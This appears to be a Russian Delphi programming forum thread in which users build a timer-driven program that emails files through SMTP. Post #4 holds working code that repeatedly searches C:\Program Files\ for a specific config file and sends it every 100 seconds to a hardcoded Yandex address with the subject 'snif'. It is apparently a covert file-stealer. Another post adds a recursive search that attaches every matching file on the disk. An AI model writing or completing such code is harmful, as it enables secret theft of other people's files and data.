![]() |
|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
![]() вот код, отправляется на почту, при отправке всегда добавляется один и тот же файл в алгебраической прогрессии, как сделать так чтоб всегда отправлялся только 1 файл?
TIdAttachment.Create(idMessage1.MessageParts,'C:\1 .txt'); ах да, отправляется по таймеру Последний раз редактировалось iisyyyys, 02.08.2012 в 13:43. |
#2
|
||||
|
||||
![]() прога ищет в указанном каталоге файлы с определенным расширением, и отправляет их на почту... вот накидал за 5 минут.... глянь
Код:
FindFiles('C:\pochta\', '*.txt', FileList, true); данный исходник, позволяет отправить файлы найденные не только в указанной папке, но и в подкаталогах той папки, пример: каталог c:\windows, ищем к примеру все текстовые файлы, *.txt, прога про сканирует весь каталог windows, и найденные текстовые файлы присоединит к письму...!!!! уволен в запас!!! ![]() |
#3
|
|||
|
|||
![]() нифига там у тебя прога) у меня гораздо проще) суть программы в том, что каждые 100 секунд высылается файл, но он постоянно добавляется к уже отправленным. Интересный конечно способ
![]() |
#4
|
|||
|
|||
![]() вот мой код, как сделать, чтобы вместо вызова процедуры SendMail работала прога?)))
procedure FindFiles(StartFolder, Mask: string; List: TStrings; ScanSubFolders: Boolean = True); var SearchRec: TSearchRec; FindResult: Integer; begin List.BeginUpdate; try StartFolder := IncludeTrailingBackslash(StartFolder); FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec); try while FindResult = 0 do with SearchRec do begin if (Attr and faDirectory) <> 0 then begin if ScanSubFolders and (Name <> '.') and (Name <> '..') then FindFiles(StartFolder + Name, Mask, List, ScanSubFolders); end else begin if MatchesMask(Name, Mask) then List.Add(StartFolder + Name); end; FindResult := FindNext(SearchRec); end; finally FindClose(SearchRec); end; finally List.EndUpdate; end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin idSmtp1.Host:='smtp.yandex.ru'; // smtp idSmtp1.Port:=25 ; // Порт ,если будет ошибка 10600 как то так, то попробуйте ввести порт 587 idSmtp1.Username:='11111' ; // Логин, от кого придет письмо idSmtp1.Password:='11111' ; // Пароль idMessage1.Body.Text:='11111' ; idMessage1.From.Text:='11111@yandex.ru'; // Почтовый от адрес, от кого idMessage1.Recipients.EMailAddresses:='11111@yande x.ru' ; // и кому отправляем FileList := TStringList.Create; FileList.Clear; FindFiles('C:\Program Files\', '1111.cfg', FileList, true); if FileList.Count <> 0 then SendMAIL(FileList); FileList.Free; idMessage1.Subject:='snif' ; // Тема письма idSmtp1.Connect(); if idSmtp1.Connected=true then; idSmtp1.Send(idmessage1); idSmtp1.Disconnect end; |
#5
|
|||
|
|||
![]() причем сам файл все время обновляется
|